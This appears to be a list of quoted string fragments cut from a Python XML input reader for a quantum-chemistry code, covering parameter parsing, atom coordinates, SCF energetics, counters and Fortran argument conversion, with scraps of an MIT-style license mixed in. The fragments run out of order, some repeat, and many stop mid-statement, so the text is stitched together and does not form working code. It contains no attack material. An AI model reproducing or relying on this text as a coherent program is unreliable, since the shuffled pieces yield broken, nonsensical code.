"not None): result[2] = float(z.text) xyz = atom.find('xyz') atom_type =",
"indexing from the 1-starting to 0-starting result[key-1] = dictionary[key] except:",
"the value if self.get_parameter_value(parameter_name) == 0: tagtype = parameter_name[:parameter_name.rfind('_')] name_tag_found",
"child named 'path' and/or 'extends_path'. \"\"\" if self.root is not",
"the largest allowed value: {}', parameter_definition.attrib['name'], value, float(maxval)) def get_option_value(self,",
"and this permission notice shall be included in all* *",
"do so, subject to the following conditions: * * *",
"elif name in root.attrib: value = root.attrib[name] return value def",
"in option.attrib and value_text == option.attrib['text_value']: return option.attrib['value'] else: valid_options",
"return value def get_parameter_value(self, parameter_name): \"\"\" Get the value of",
"it is seached from the parent objects. \"\"\" if counter_name",
"in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self, atom): result = [0.0, 0.0,",
"\"\"\" Retrieve the definition tag for a tag with name",
"not None: return self.parent_object.add_counter_value(counter_name) else: return False def get_counter_value(self, counter_name):",
"\"\"\" for parameter_name in self.parameter_values: if parameter_name.endswith(\"_id\"): # check if",
"value is None. If the value is None, the #",
"string lists need some special attention: if parameter_definitions[argument_key].attrib['type'].startswith('string') and type(argument_values[argument_key])",
"else: self.root = None self.parent_object = parent_object if directory is",
"ValueError: sys.exit('Error: parameter with type \\'{}\\' and name \\'{}\\' has",
"value_text)) else: try: if value_text is None: value = None",
"input.\") else: inp = InputXML(filename = sys.argv[1], definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\")",
"argument_key = \"{}_{}\".format(abbreviation, parameter_name) else: argument_key = parameter_name if counter_present:",
"def parse(self): super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self): \"\"\" Reads in",
"self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text): return",
"this permission notice shall be included in all* * copies",
"value = parameter_definition.attrib['default'] return value def get_parameter_value(self, parameter_name): \"\"\" Get",
"= directory) elif tag.tag == 'scf_energetics': child = SCFEnergeticsXML(parent_object =",
"paths with non-relative ones \"\"\" for parameter_name in self.parameter_values: if",
"a list or a dictionary, value is: {}.\".format(value_text)) return result",
"not None: argument_key = \"{}_{}\".format(abbreviation, parameter_name) else: argument_key = parameter_name",
"current tag has an attribute or child with # name",
"= True else: value[i] = bool(arg) except ValueError: sys.exit('Error: parameter",
"self.convert_argument_value(value, parameter_definition) # check that value is within given limits",
"parameter_definition.attrib['name']) # if value is found, break the iteration if",
"'extends_path') self.extends_roots = [] self.extends_directories = [] directory = self.directory",
"other \"\"\" return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self,",
"else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib: success =",
"numpy.float64 or type(self_value[i]) == numpy.float32 or type(self_value[i]) == numpy.float16: if",
"in self.parameter_values: if not self.parameter_values_are_equal(other, parameter_name): return False return True",
"value: \\'{}\\''.format(argument_type, parameter_definition.attrib['name'], value_text)) else: try: if value_text is None:",
"atom): if 'type' in atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error: The",
"= float(arg) if argument_type.startswith('double'): value[i] = float(arg) if argument_type.startswith('string'): if",
"\"\"\" Parse paremeters and child xml-tags of the root-xml tags",
"and associated documentation files (the \"Software\"), to deal * *",
"self.root is not None: self._parse_children(self.root, self.directory) # add the tag",
"if len(sys.argv) <= 1: print(\"Give the input file name as",
"directory) else: if tag.tag == 'settings': child = SettingsXML(parent_object =",
"== 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in self.children:",
"data type and check that it is valid final_value =",
"other): \"\"\" Check if self is of same type as",
"IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,",
"'Na': 11, 'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18} def",
"parameter_definition.attrib['default'] return value def get_parameter_value(self, parameter_name): \"\"\" Get the value",
"definition is None: definition_found = False for definition_tag in self.definition.findall('class'):",
"the parameter value is None. If the value is None,",
"scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'],",
"import OrderedDict class InputProgrammingError(Exception): pass class InputXML(object): tag_type = 'input'",
"a counter with name 'counter_name'. If the counter is not",
"type(self_value[i]) == float or type(self_value[i]) == numpy.float64 or type(self_value[i]) ==",
"result = ast.literal_eval(\"[\"+ value_text +\"]\") except: raise Exception(\"Bad form of",
"self.parameter_values[parameter_name] = os.path.normpath(path) # if the output folder does not",
"else: self.charge = 0 # read coordinates and atom types",
"(z is not None): result[2] = float(z.text) xyz = atom.find('xyz')",
"= float(value_text) elif argument_type.startswith('double'): value = float(value_text) elif argument_type.startswith('string'): if",
"parameter_definition if parameter_definition.attrib['name'] == 'name': self.name = self.parameter_values['name'] else: print(\"PARAMETER",
"the children from the xml-root of this object and store",
"read atom coordinates in 'atom' tags for i, atom in",
"argument_type.startswith('int'): value[i] = int(arg) if argument_type.startswith('float'): value[i] = float(arg) if",
"found.\".format(child.definition.attrib['counters'])) def add_counter_value(self, counter_name): \"\"\" Add value of counter parameter",
"of the same type. \"\"\" # check that the input",
"is not None): result[2] = float(z.text) xyz = atom.find('xyz') atom_type",
"value_text, argument_type): is_number = argument_type.startswith(\"int\") or \\ argument_type.startswith(\"float\") or \\",
"EVENT SHALL THE * * AUTHORS OR COPYRIGHT HOLDERS BE",
"Exception(\"Error: '{}' tag path '{}' does not exist\".format(self.tag_type, complete_path)) def",
"given.\") self.retrieve() def prepare(self): \"\"\" Prepare the input to have",
"== other_value def all_parameter_values_are_equal(self, other): \"\"\" Check if all parameter",
"sys.exit(\"Error: Too many or too few coordinates in 'atom'->'xyz' -tag.\")",
"# and store them to 'self' if hasattr(self, 'extends_roots') and",
"just to # input the default values. for definition_tag in",
"= self.read_atom_type(atom) if (xyz is not None): xyz_text = xyz.text.strip().split(\"",
"'{}'. Ignoring.\".format(tag.tag)) continue else: child = InputXML(parent_object = self, definition",
"value_text, parameter_definition): argument_type = parameter_definition.attrib['type'] if SettingsGenerator.has_options(parameter_definition): value_text = self.get_option_value(value_text,",
"= scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse() scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id')",
"coordinates = [] types = [] charges = [] if",
"'minval' in parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if value < float(minval):",
"it if parameter_name == 'output_folder' and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for",
"False return True def __eq__(self, other): \"\"\" Check if two",
"loop by getting the next extends path and corresponding directory",
"OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR",
"of the parameters to a form suitable for the Fortran",
"you perfomed 'parse' for the object?\") def parameter_values_are_equal(self, other, parameter_name):",
"check that the input objects are of same type if",
"self.directory = directory elif filename is not None and os.path.exists(filename):",
"= scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename, scf_energetics.directory) root_object.children.append(scf_energetics) root_object.child_definitions.append('scf_energetics') root_object.add_counters(scf_energetics) scf_energetics.parse()",
"name): if self.parent_object is not None: for child in self.parent_object.children:",
"in self.parameter_values: return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter: '{}' is",
"def is_of_same_type_as(self, other): \"\"\" Check if self is of same",
"check that it is valid final_value = self.convert_argument_value(value, parameter_definition) #",
"root.attrib: value = root.attrib[name] return value def read_parameter_value(self, parameter_definition): \"\"\"",
"in self.parameter_values if name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if name is",
"output files and creates the corresponding objects to the tree",
"found an InputProgrammingError is raised. \"\"\" if hasattr(self, 'parameter_values') and",
"parameter value is None. If the value is None, the",
"max(dictionary.keys()) # init array of size if is_number: result =",
"child = ActionXML(parent_object = self, definition = definition, input_object =",
"None and hasattr(self, 'extends_roots') and self.extends_roots is not None: for",
"and not os.path.exists(self.parameter_values[parameter_name]): os.makedirs(self.parameter_values[parameter_name]) for child in self.children: child.handle_folders() def",
"'name': self.name = self.parameter_values['name'] else: print(\"PARAMETER is not valid\", parameter_definition.attrib['name'])",
"= None else: # do the parsing of the input",
"* * to use, copy, modify, merge, publish, distribute, sublicense,",
"path = os.path.join(self.directory, self.parameter_values[parameter_name]) # make the path more readable",
"from the parameter definition size = int(parameter_definition.attrib['shape']) value = numpy.zeros(size)",
"with name {} and value {} is smaller than the",
"= xyz.strip().split(\" \") xyz_coord = [0.0, 0.0, 0.0] # ignore",
"= str(value_text) elif argument_type.startswith('bool'): if value_text.lower() == 'false': value =",
"if len(options) > 0: valid_options = \"\" for option in",
"failed. Counter not found.\".format(child.definition.attrib['global_index_counter'])) else: child.id = self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter'",
"definition_tag = 'basis_set_input' class SettingsXML(InputXML): tag_type = 'settings' definition_tag =",
"OR THE USE OR OTHER DEALINGS IN THE * *",
"not None: complete_path = os.path.join(directory, path_text) else: complete_path = path_text",
"*----------------------------------------------------------------------------------\"\"\" # Input file reader import os import sys import",
"'atoms' tags for i, atoms in enumerate(self.root.findall('atoms')): self.read_atoms_coordinates_and_types(atoms) def read_atom_coordinates_and_type(self,",
"(could also be a dictionary), which # has to be",
"'scf_energetics' definition_tag = 'scf_energetics_input' class ActionXML(InputXML): tag_type = 'action' definition_tag",
"if value_text is None: value = None else: # do",
"0.0, 0.0] x = atom.find('x') if (x is not None):",
"= atom.find('xyz') atom_type = self.read_atom_type(atom) if (xyz is not None):",
"for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] == tag.tag: definition =",
"filename does not exist: {}\".format(definition_filename)) elif self.parent_object is not None:",
"xml file at path 'path_text' to and store it to",
"None: complete_path = os.path.join(directory, path_text) else: complete_path = path_text #",
"path_text is not None and path_text != \"\": try: self.root",
"parameter_definition.attrib['name'], value_text)) else: try: if value_text is None: value =",
"str(value_text) elif argument_type.startswith('bool'): if value_text.lower() == 'false': value = False",
"OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def form_new_directory_path(self, path_text, original_directory = None):",
"self.parameter_values[counter_name] is None: self.parameter_values[counter_name] = 0 self.parameter_values[counter_name] += 1 return",
"\") if (len(xyz_text) == 4): atom_type = get_atom_type(xyz_text[0]) atom_charge =",
"\"\"\" Retrieves content of xml file at path 'path_text' to",
"dtype=\"c\") for j, value in enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j],",
"parameter_definition.attrib['name']) # if the object has extends_root, then parse the",
"== tag.tag: definition = definition_tag definition_found = True break if",
"return self.parent_object.add_counter_value(counter_name) else: return False def get_counter_value(self, counter_name): \"\"\" Get",
"parameter with type \\'{}\\' and name \\'{}\\' has invalid value:",
"self.children.append(child) self.child_definitions.append(tag.tag) self.add_counters(child) child.parse() def parse(self): \"\"\" Parse paremeters and",
"atom.attrib: return atom.attrib['type'] else: sys.exit(\"Error: The mandatory attribute 'type' not",
"not found at root, then use the value from extends",
"argument_key in list(argument_values): # the string lists need some special",
"numpy.array(argument_values[argument_key], order='F').T shape = temp_array.shape if len(shape) == 3: new_shape",
"SCFEnergeticsXML(parent_object = root_object, \\ definition = scf_energetics_definition) scf_energetics.root = scf_energetics.retrieve_path(scf_energetics_filename,",
"= max(dictionary.keys()) # init array of size if is_number: result",
"and store them as children in the 'self'. Note: this",
"with name 'counter_name'. If the counter is not found in",
"os.path.exists(complete_path): tree = ET.parse(complete_path) return tree.getroot() else: raise Exception(\"Error: '{}'",
"other_child in other.children: if child == other_child: equal_found = True",
"default values. for definition_tag in self.definition.findall('class'): if definition_tag.attrib['name'] not in",
"of 'self' and 'other' are equal with definition and value",
"atoms.find('xyz') coordinates = [] types = [] charges = []",
"(xyz is not None): xyz_text = xyz.text.strip().split(\" \") if (len(xyz_text)",
"abbreviation is not None: argument_key = \"{}_{}\".format(abbreviation, parameter_name) else: argument_key",
"= self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\") #",
"if len(shape) == 3: new_array[:, :, :shape[2]] = temp_array[:, :,",
"None): self.root = input_object elif filename is not None: if",
"found at root, then use the value from extends roots",
"self.children: child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions = {}, abbreviation =",
"not None: self.directory = directory elif filename is not None",
"argument_key in argument_values and argument_values[argument_key] is not None: argument_values[argument_key].append(self.parameter_values[parameter_name]) else:",
"self.parent_object = parent_object if directory is not None: self.directory =",
"= [] charges = [] if (xyz is not None):",
"try: for i, arg in enumerate(array_values): if argument_type.startswith('int'): value[i] =",
"values \".format(parameter_name)+ \\ \"of the object. Have you perfomed 'parse'",
"parameter_definition.attrib['name'], value, float(minval)) if 'maxval' in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval']",
"root.find(name) if tag is not None: value = tag.text elif",
"# name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots = []",
"else: value[i] = str(arg) if argument_type.startswith('bool'): if arg.lower() == 'false':",
"super(ActionXML, self).parse() self.handle_output_files() def handle_output_files(self): \"\"\" Reads in the output",
"!= type(other): raise InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+ \" are",
"with type list to numpy arrays if self.parent_object is None:",
"type(other): raise InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+ \" are not",
"them as children in the 'self'. Note: this function is",
"'P':15, 'S':16, 'Cl':17, 'Ar':18} def read_input(self): charge = self.root.find('charge') #",
"directory of the file with the input directory path =",
"not None: if definition_filename is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if",
"self._parse_children(extends_root, self.extends_directories[i]) # parse the children from the xml-root of",
"the input array (could also be a dictionary), which #",
"= None,\\ parent_object = None,\\ definition = None, \\ directory",
"self.get_option_value(value_text, parameter_definition) if SettingsGenerator.is_array(parameter_definition): if value_text is None: value =",
"result[2] = float(xyz_text[3]) else: sys.exit(\"Error: Too many or too few",
"an attribute or child with # name 'extends_path' path_text =",
"__eq__(self, other): \"\"\" Check if two InputXML objects are equal",
"None: # check if current tag has an attribute or",
"value = InputXML.read_tag_or_attribute_value(self.root, parameter_definition.attrib['name']) # if value is not found",
"HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER *",
"an attribute or child with # name 'path' path_text =",
"if (y is not None): result[1] = float(y.text) z =",
"== 'settings': child = SettingsXML(parent_object = self, definition = definition,",
"def add_counters(self, child): \"\"\" Add all the counter values for",
"root is not None: tag = root.find(name) if tag is",
"if value is found, break the iteration if value is",
"j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key] = numpy.array(temp, dtype=\"c\").T elif type(argument_values[argument_key])",
"the value is None, the # parameter is not present",
"in self.definition.findall('parameter'): if SettingsGenerator.is_valid_parameter(parameter_definition): self.set_parameter_value(parameter_definition, self.read_parameter_value(parameter_definition)) self.parameter_definitions[parameter_definition.attrib['name']] = parameter_definition if",
"child with # name 'extends_path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'extends_path') self.extends_roots",
"that it is valid final_value = self.convert_argument_value(value, parameter_definition) # check",
"if definition is not None: self.definition = definition else: sys.exit(\"Definition",
"parameter_definition, value): \"\"\" Set an arbitrary value 'value' for the",
"has to be changed to a list array_values = self.read_array_values(value_text,",
"len(shape) == 3: new_shape = (shape[0], shape[1], shape[2]+1) elif len(shape)",
"'parameter_definition'. \"\"\" # convert the value to right data type",
"* * * Permission is hereby granted, free of charge,",
"sys.exit(str(e)) # check if current tag has an attribute or",
"children of 'self' and 'other' are equal with definition and",
"INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, *",
"\"\"\" if counter_name in self.parameter_values: if self.parameter_values[counter_name] is None: self.parameter_values[counter_name]",
"parameter definition size = int(parameter_definition.attrib['shape']) value = numpy.zeros(size) try: for",
"{} failed. Counter not found.\".format(child.definition.attrib['local_index_counter'])) if 'counters' in child.definition.attrib: success",
"with name = tag_name \"\"\" definition = self.definition.find('{}'.format(tag_name)) return definition",
"# get the final size of the result array from",
"= None self.parent_object = parent_object if directory is not None:",
"== type(other) \\ and self.definition.attrib['name'] == other.definition.attrib['name'] def children_are_equal(self, other):",
"else: try: if value_text is None: value = None elif",
"from it # and store them to 'self' if hasattr(self,",
"interface. The converted values are stored to input-output dictionary 'arguments_values'.",
"tag in root: if tag.tag not in self.parameter_values: # try",
"self.read_atom_coordinates_and_type(atom) # then read atoms in 'atoms' tags for i,",
"types self.coordinates = [] self.types = [] self.charges = []",
"in other.children: if child == other_child: equal_found = True #",
"sys.exit(\"Definition tag input not given.\") self.retrieve() def prepare(self): \"\"\" Prepare",
"if (len(xyz_text) == 4): atom_type = get_atom_type(xyz_text[0]) atom_charge = get_atom_charge(xyz_text[0])",
"the output files and creates the corresponding objects to the",
":] else: new_array[:shape[0]] = temp_array[:] argument_values[argument_key] = new_array elif argument_values[argument_key]",
"the definition from # the '<class>'-tags if definition is None:",
"def get_interface_argument_values(self, argument_values, parameter_definitions = {}, abbreviation = None, counter_present",
"of the parameter is not specified. if self.parameter_values[parameter_name] is not",
"self.add_counter_value(child.definition.attrib['local_index_counter']) if not success: print(\"Warning: Adding counter {} failed. Counter",
"list array_values = self.read_array_values(value_text, argument_type) # get the final size",
"self.extends_directories is not None: for i, extends_root in enumerate(self.extends_roots): self._parse_children(extends_root,",
"definition tag for a tag with name = tag_name \"\"\"",
"\"\"\" This function converts the values of the parameters to",
"return self_value == other_value def all_parameter_values_are_equal(self, other): \"\"\" Check if",
"dictionary = ast.literal_eval(\"{\"+ value_text +\"}\") size = max(dictionary.keys()) # init",
"set it as the input scf energetics of the action",
"elif self.parent_object is not None: definition = self.parent_object.definition.find(self.definition_tag) if definition",
"== 4): types.append(self.get_atom_type(xyz_text[0])) charges.append(self.get_atom_charge(xyz_text[0])) xyz_coord[0] = float(xyz_text[1]) xyz_coord[1] = float(xyz_text[2])",
"copy * * of this software and associated documentation files",
"of the root # and set it as the input",
"'global_index_counter' in child.definition.attrib or 'local_index_counter' in child.definition.attrib or 'counters' in",
"else: argument_key = parameter_name if counter_present: # Check if the",
"if value is None and hasattr(self, 'extends_roots') and self.extends_roots is",
"None: tag = root.find(name) if tag is not None: value",
"new_shape = (shape[0], shape[1], shape[2]+1) elif len(shape) == 2: new_shape",
"if type(self) != type(other): raise InputProgrammingError(\"The objects compared with parameter_values_are_equal\"+",
"try to find the definition from # the '<class>'-tags if",
"to have all things required to call the Fortran interface",
"a form suitable for the Fortran interface. The converted values",
"of same type.\") # get the values for both input",
"it exists. Returns the new path. \"\"\" if original_directory is",
"'extends_roots') and self.extends_roots is not None: for extends_root in self.extends_roots:",
"tag from external file(s), if the tag has attribute or",
"tag is not None: value = tag.text elif name in",
"= os.path.normpath(path) # if the output folder does not exist,",
"and thirdly from the default value of the parameter definition.",
"is not found an InputProgrammingError is raised. \"\"\" if hasattr(self,",
"value = InputXML.read_tag_or_attribute_value(extends_root, parameter_definition.attrib['name']) # if value is found, break",
"return self.parameter_values[parameter_name] else: raise InputProgrammingError(\"Accessed parameter: '{}' is not in",
"= self.get_counter_value(child.definition.attrib['global_index_counter']) if 'local_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if",
"self.parent_object is not None: return self.parent_object.add_counter_value(counter_name) else: return False def",
"the parameter is not specified. if self.parameter_values[parameter_name] is not None:",
"return False return True def is_of_same_type_as(self, other): \"\"\" Check if",
"self.parameter_values['name'] else: print(\"PARAMETER is not valid\", parameter_definition.attrib['name']) # if the",
"e: sys.exit(str(e)) # prepare for the next loop by getting",
"Read the value of the parameter first from the values",
"is None: value = None elif argument_type.startswith('int'): value = int(value_text)",
"argument_type.startswith('double'): value = float(value_text) elif argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value =",
"parse it and add it as a child of the",
"True # if not, the children cannot be equal if",
"parameter values to 'self.parameter_values'. The corresponding definitions are stored to",
"are extending from and thirdly from the default value of",
"= 'settings_input' class StructureXML(InputXML): tag_type = 'structure' definition_tag = 'structure_input'",
"scf_energetics_id_definition = self.get_parameter_definition('scf_energetics_id') self.set_parameter_value(scf_energetics_id_definition, scf_energetics.id) structure_filename = \\ os.path.join(self.parameter_values['output_folder'], \"structure.xml\")",
"+= (\"{}: {} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value \"{}\" for",
"if name is not None and name != \"\": id_value",
"from # the '<class>'-tags if definition is None: definition_found =",
"+= 1 return True else: if self.parent_object is not None:",
"float(minval)) if 'maxval' in parameter_definition.attrib: maxval = parameter_definition.attrib['maxval'] if value",
"\"{}\" for argument with name \"{}\" is not within allowed",
"parameter is not present in the input file, and the",
"1 and xyz_text[0] == \"\"): continue elif (len(xyz_text) == 4):",
"InputXML.read_tag_or_attribute_value(self.extends_roots[-1], 'extends_path') def fill_id_values(self): \"\"\" Finds the id for each",
"list to numpy arrays if self.parent_object is None: for argument_key",
"and type(argument_values[argument_key]) == list: temp = numpy.empty((256, len(argument_values[argument_key])+1), dtype=\"c\") for",
"return self.parameter_values[counter_name] else: if self.parent_object is not None: return self.parent_object.get_counter_value(counter_name)",
"definition def _parse_children(self, root, directory): \"\"\" Parse children of root",
"argument_key in argument_values: print(\"Warning: Found two (or more) arguments for",
"parameter where reference is made with name and fills it",
"= self.read_array_values(value_text, argument_type) # get the final size of the",
"'parse' for the object?\") def parameter_values_are_equal(self, other, parameter_name): \"\"\" Compare",
"larger than the largest allowed value: {}', parameter_definition.attrib['name'], value, float(maxval))",
"to the correct place \"\"\" for parameter_name in self.parameter_values: if",
"'value' in option.attrib and value_text == option.attrib['value']: return value_text elif",
"\"\"\" Prepare the input to have all things required to",
"# try to evaluate the molecular orbitals as dict try:",
"child object 'child' of 'self' by one \"\"\" if 'global_index_counter'",
"{} \".format(option.attrib['value'], option.attrib['text_value'])) sys.exit('Error: The value \"{}\" for argument with",
"new_array[:, :, :shape[2]] = temp_array[:, :, :] elif len(shape) ==",
"in self.definition.findall('class'): if definition_tag.attrib['name'] not in self.child_definitions: child = InputXML(parent_object",
"= os.path.join(original_directory, path_text) else: complete_path = path_text directory_path = os.path.dirname(complete_path)",
"the xml-root of this object and store them # to",
"equal_found = True # if not, the children cannot be",
"self.types.append(atom_type) self.charges.append(atom_charge) def get_atom_type(self, atom_type_text): return int(self.atom_types[atom_type_text]) def get_atom_charge(self, atom_type_text):",
"relative paths with non-relative ones \"\"\" for parameter_name in self.parameter_values:",
"os.path.exists(filename): self.tree = ET.parse(filename) self.root = self.tree.getroot() else: print(\"Path for",
"if 'local_index_counter' in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['local_index_counter']) if not success:",
"tag.tag == 'scf_energetics': child = SCFEnergeticsXML(parent_object = self, definition =",
"= numpy.zeros(size) try: for i, arg in enumerate(array_values): if argument_type.startswith('int'):",
"\"\"\" return type(self) == type(other) \\ and self.definition.attrib['name'] == other.definition.attrib['name']",
"child with # name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') #",
"exist\".format(self.tag_type, complete_path)) def retrieve(self): \"\"\" Retrieves content to the tag",
"and replaces relative paths with non-relative ones \"\"\" for parameter_name",
"path 'path_text' to and store it to 'parameter_name' atribute of",
"os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree = ET.parse(filename) self.root = self.tree.getroot() else:",
"float(minval): sys.exit('Error: argument with name {} and value {} is",
"for parameter_name in self.parameter_values: if parameter_name in ['output_folder', 'input_folder', 'folder_path']:",
"self.root = input_object elif filename is not None: if definition_filename",
"path from 'path_text' and 'original_directory' and validate that it exists.",
"subfunctionality of function 'parse' and it should not be used",
"self.types = [] self.charges = [] # first read atom",
"= tagtype+\"_name\" in self.parameter_values if name_tag_found: name = self.parameter_values[tagtype+\"_name\"] if",
"root # and set it as the input structure of",
"input objects are of same type if type(self) != type(other):",
"found child-xml classes to 'self.children' and the parameter values to",
"if self.parent_object is None: return self else: return self.parent_object.get_root_object() class",
"is not None: # convert the non absolute paths to",
"self.parent_object is not None: return self.parent_object.get_counter_value(counter_name) else: return -1 def",
"self.definition = definition.getroot() else: sys.exit(\"Input definition filename does not exist:",
"{}', parameter_definition.attrib['name'], value, float(minval)) if 'maxval' in parameter_definition.attrib: maxval =",
"self.coordinates.extend(coordinates) self.types.extend(types) self.charges.extend(charges) if __name__ == \"__main__\": if len(sys.argv) <=",
"Retrieve the parameter definition for parameter name 'parameter_name'. \"\"\" for",
"charge = self.root.find('charge') # read relative charge if (charge is",
"atom_type_text): return float(self.atom_types[atom_type_text]) def read_atom_type(self, atom): if 'type' in atom.attrib:",
"SCFEnergeticsXML(parent_object = self, definition = definition, input_object = tag, directory",
"name: return child.id return -1 def get_parameter_definition(self, parameter_name): \"\"\" Retrieve",
"elif filename is not None: if definition_filename is None: definition_filename",
"classes that are not found in the input file, just",
"* * * The above copyright notice and this permission",
"the value of a tag or attribute with name 'name'",
"or type(self_value[i]) == numpy.float16: if abs(self_value[i] - other_value[i]) > 1e-10:",
"= os.path.dirname(filename) elif self.parent_object is not None: self.directory = self.parent_object.directory",
"self.parse() self.handle_folders() self.fill_id_values() kwargs = OrderedDict() self.get_interface_argument_values(kwargs) return kwargs def",
"The converted values are stored to input-output dictionary 'arguments_values'. \"\"\"",
"False elif value_text.lower() == 'true': value = True else: value",
"* * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY",
"os.makedirs(self.parameter_values[parameter_name]) for child in self.children: child.handle_folders() def get_interface_argument_values(self, argument_values, parameter_definitions",
"is None: definition_filename = os.path.dirname(os.path.realpath(__file__))+\"/input_parameters.xml\" if os.path.exists(filename): self.tree = ET.parse(filename)",
"Input file reader import os import sys import xml.etree.ElementTree as",
"Too many or too few coordinates in 'atoms'->'xyz' -line.\") self.coordinates.extend(coordinates)",
"'C':6, 'N':7, 'O':8, 'F':9, 'Ne':10, 'Na': 11, 'Mg':12, 'Al':13, 'Si':14,",
"it as a child of the root # and set",
"if the object has extends_root, then parse the children from",
"= xyz.text.strip().split(\" \") if (len(xyz_text) == 4): atom_type = get_atom_type(xyz_text[0])",
"children in '_parse_children' calls. \"\"\" self.parameter_values = OrderedDict() self.parameter_definitions =",
"from extends roots if value is None and hasattr(self, 'extends_roots')",
"tag is not found, None is returned. \"\"\" value =",
"iteration if value is not None: break # fall back",
"= self, definition = definition_tag) self.children.append(child) child.parse() def handle_folders(self): \"\"\"",
"argument_type.startswith('double'): value[i] = float(arg) if argument_type.startswith('string'): if SettingsGenerator.generate_fortran(parameter_definition): value[i] =",
"the root # and set it as the input structure",
"from path_text if path_text is not None and path_text !=",
"'Ne':10, 'Na': 11, 'Mg':12, 'Al':13, 'Si':14, 'P':15, 'S':16, 'Cl':17, 'Ar':18}",
"found in 'atom'-tag\") def read_atoms_coordinates_and_types(self, atoms): xyz = atoms.find('xyz') coordinates",
"Retrieves content of xml file at path 'path_text' to and",
"AND NONINFRINGEMENT. IN NO EVENT SHALL THE * * AUTHORS",
"ANY CLAIM, DAMAGES OR OTHER * * LIABILITY, WHETHER IN",
"value, parameter_definition): if value is not None: if 'minval' in",
"local object, it is seached from the parent objects. \"\"\"",
"and name != \"\": id_value = self.get_tagid_for_name(tagtype, name) if id_value",
"TORT OR OTHERWISE, ARISING FROM, * * OUT OF OR",
"extends_root, then parse the children from it # and store",
"if abs(self_value[i] - other_value[i]) > 1e-10: return False elif self_value[i]",
"= atom.find('y') if (y is not None): result[1] = float(y.text)",
"it to 'parameter_name' atribute of 'self'. \"\"\" if directory is",
"in child.definition.attrib: success = self.add_counter_value(child.definition.attrib['global_index_counter']) if not success: print(\"Warning: Adding",
"'input' definition_tag = 'input_definition' def __init__(self, filename = None, \\",
"else: sys.exit(\"Error: Too many or too few coordinates in 'atoms'->'xyz'",
"getting the next extends path and corresponding directory directory =",
"that value is within given limits self.check_value_range(final_value, parameter_definition) # set",
"not specified if value is None: if 'default' in parameter_definition.attrib:",
"the values of the XML-element, secondarily from the objects we",
"# name 'path' path_text = InputXML.read_tag_or_attribute_value(self.root, 'path') # try to",
"WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * * IMPLIED,",
"counter is not found in the local object, it is",
"other, parameter_name): \"\"\" Compare the values of parameter with name",
"in parameter_definition.attrib: minval = parameter_definition.attrib['minval'] if value < float(minval): sys.exit('Error:",
"not exist: {}\".format(definition_filename)) elif self.parent_object is not None: definition =",
"j, value in enumerate(argument_values[argument_key]): temp[:, j] = \"{0:{width}}\".format(argument_values[argument_key][j], width=256) argument_values[argument_key]",
"= str(arg) else: value[i] = str(arg) if argument_type.startswith('bool'): if arg.lower()",
"= xyz.text.splitlines() for xyz in xyz_lines: xyz_text = xyz.strip().split(\" \")",
"not exist, create it if parameter_name == 'output_folder' and not",
"if value > float(maxval): sys.exit('Error: argument with name {} and",
"return self.is_of_same_type_as(other)\\ and self.all_parameter_values_are_equal(other)\\ and self.children_are_equal(other) def __ne__(self, other): return",
"with name \"{}\" is not within allowed options: {} '.format(value_text,",
"temp_array.shape if len(shape) == 3: new_shape = (shape[0], shape[1], shape[2]+1)",
"also be a dictionary), which # has to be changed",
